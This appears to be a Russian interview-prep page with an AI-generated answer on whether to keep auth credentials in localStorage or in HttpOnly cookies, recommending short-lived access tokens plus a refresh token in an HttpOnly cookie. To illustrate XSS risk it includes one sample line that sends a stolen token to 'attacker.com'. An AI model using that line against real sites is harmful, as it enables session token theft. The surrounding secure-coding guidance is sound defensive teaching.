← Назад к вопросам
Credentials лучше хранить в localStorage или в cookie
1.7 Middle🔥 151 комментариев
#Браузер и сетевые технологии
Комментарии (1)
🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)
Ответ сгенерирован нейросетью и может содержать ошибки
Где хранить Credentials: localStorage vs cookie
Ответ: лучше в HttpOnly cookie, но вопрос сложнее, чем кажется. Нужно понимать компромиссы каждого подхода.
Сравнение localStorage vs cookie
| Характеристика | localStorage | cookie |
|---|---|---|
| Область доступа | JavaScript | JavaScript + HTTP |
| Размер | 5-10 MB | 4 KB |
| Автоматическая отправка | Нет | Да (если HttpOnly: только HTTP) |
| XSS защита | Нет | Да (если HttpOnly) |
| CSRF защита | Нужна ручная | Встроена (SameSite) |
| Истечение | Вручную | Автоматическое |
| Кроссдоменный доступ | Нет | Зависит от настроек |
localStorage
Как хранятся credentials:
// Пользователь логинится
const response = await fetch('/api/login', {
method: 'POST',
body: JSON.stringify({ email, password })
});
const { token } = await response.json();
// Сохраняем в localStorage
localStorage.setItem('authToken', token);
// Потом используем в запросах
const makeRequest = async (url) => {
const token = localStorage.getItem('authToken');
return fetch(url, {
headers: { 'Authorization': `Bearer ${token}` }
});
};
Проблемы localStorage:
- XSS уязвимость - любой скрипт может украсть токен:
// Вредоносный скрипт на странице
const token = localStorage.getItem('authToken');
await fetch('https://attacker.com/steal?token=' + token);
-
Медленнее, чем cookie - нужно читать localStorage в каждом запросе
-
Нет автоматической отправки - нужно вручную добавлять в заголовки
cookie
Как хранятся credentials:
// Сервер устанавливает cookie в ответ
POST /api/login
response headers:
Set-Cookie: authToken=abc123; HttpOnly; Secure; SameSite=Strict
// Браузер автоматически отправляет cookie в каждом запросе
GET /api/me
request headers:
Cookie: authToken=abc123
Преимущества HttpOnly cookie:
- XSS защита - JavaScript не может получить доступ:
// Вредоносный скрипт НЕ может украсть
const token = document.cookie; // не содержит HttpOnly cookies
-
Автоматическая отправка - браузер сам отправляет в каждом запросе
-
CSRF защита - можно использовать SameSite и CSRF tokens
Рекомендуемая стратегия: Two-token approach
Лучший подход в 2024-2025 году:
1. HttpOnly Refresh Token в cookie
// Сервер устанавливает
Set-Cookie: refreshToken=xyz789; HttpOnly; Secure; SameSite=Strict; Max-Age=7776000
// JavaScript не может получить доступ
console.log(document.cookie); // refreshToken НЕ здесь
2. Access Token в памяти или localStorage
// Access token (короткоживущий, ~15 минут)
const { accessToken } = await response.json();
localStorage.setItem('accessToken', accessToken);
// Используем в заголовках
const headers = {
'Authorization': `Bearer ${localStorage.getItem('accessToken')}`
};
Алгоритм:
class AuthService {
async login(email: string, password: string) {
const response = await fetch('/api/login', {
method: 'POST',
credentials: 'include', // отправляем cookies
body: JSON.stringify({ email, password })
});
const { accessToken } = await response.json();
// Access token (JWT на 15 минут) в localStorage
localStorage.setItem('accessToken', accessToken);
// Refresh token автоматически в HttpOnly cookie
}
async getNewAccessToken() {
// Refresh token отправляется автоматически в cookies
const response = await fetch('/api/refresh', {
credentials: 'include' // браузер отправляет cookies
});
const { accessToken } = await response.json();
localStorage.setItem('accessToken', accessToken);
return accessToken;
}
async makeRequest(url: string) {
let accessToken = localStorage.getItem('accessToken');
let response = await fetch(url, {
headers: {
'Authorization': `Bearer ${accessToken}`
},
credentials: 'include' // отправляем cookies
});
// Если token истек (401), обновляем
if (response.status === 401) {
accessToken = await this.getNewAccessToken();
response = await fetch(url, {
headers: {
'Authorization': `Bearer ${accessToken}`
},
credentials: 'include'
});
}
return response;
}
logout() {
localStorage.removeItem('accessToken');
// Refresh token удаляется на сервере
fetch('/api/logout', {
method: 'POST',
credentials: 'include'
});
}
}
Почему это хорошо:
- Access token в памяти/localStorage = уязвим для XSS, но он короткоживущий (15 мин)
- Refresh token в HttpOnly cookie = защищен от XSS
- Если XSS украдет access token, вреда минимален (только 15 минут)
- Refresh token привязан к браузеру (в cookie), сложнее украсть
Альтернатива: Хранить оба в памяти (React Context)
const AuthContext = React.createContext<{ token: string | null }>(null);
function AuthProvider({ children }) {
const [token, setToken] = useState<string | null>(null);
const login = async (email: string, password: string) => {
const response = await fetch('/api/login', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({ email, password })
});
const { accessToken } = await response.json();
setToken(accessToken); // в памяти React компонента
};
// При перезагрузке страницы - нужно заново логиниться
// ИЛИ восстановить из refresh token
useEffect(() => {
const restoreSession = async () => {
try {
const response = await fetch('/api/refresh', {
credentials: 'include'
});
const { accessToken } = await response.json();
setToken(accessToken);
} catch (e) {
// Not logged in
}
};
restoreSession();
}, []);
return (
<AuthContext.Provider value={{ token }}>
{children}
</AuthContext.Provider>
);
}
Проблемы:
- При refresh страницы нужно восстанавливать сессию
- XSS может украсть token из памяти (через DevTools)
- Сложнее для СПА с несколькими вкладками
НИКОГДА не делай так
// НИКОГДА: пароли в localStorage
localStorage.setItem('password', password); // XSS может украсть!
// НИКОГДА: неиспользуемые credentials
localStorage.setItem('authToken', token); // без HttpOnly cookie
// НИКОГДА: без HTTPS
// Cookie без Secure флага может быть перехвачен
Best Practice для 2025
Рекомендуемый стек:
- Refresh Token - HttpOnly, Secure, SameSite=Strict cookie (7 дней)
- Access Token - JSON response (15 минут), в памяти или localStorage
- CSRF Protection - SameSite=Strict cookie или CSRF token
- HTTPS - всегда
- Content-Security-Policy - защита от XSS
Заключение
Lучше всего:
- Refresh Token в HttpOnly cookie - защищен от XSS
- Access Token в localStorage или памяти - удобнее для SPA
- Никогда не хранить пароли - только tokens
- Понимать компромиссы - нет идеального решения, есть подходящее для вашего случая
- HTTPS + SameSite + HttpOnly - минимальная безопасность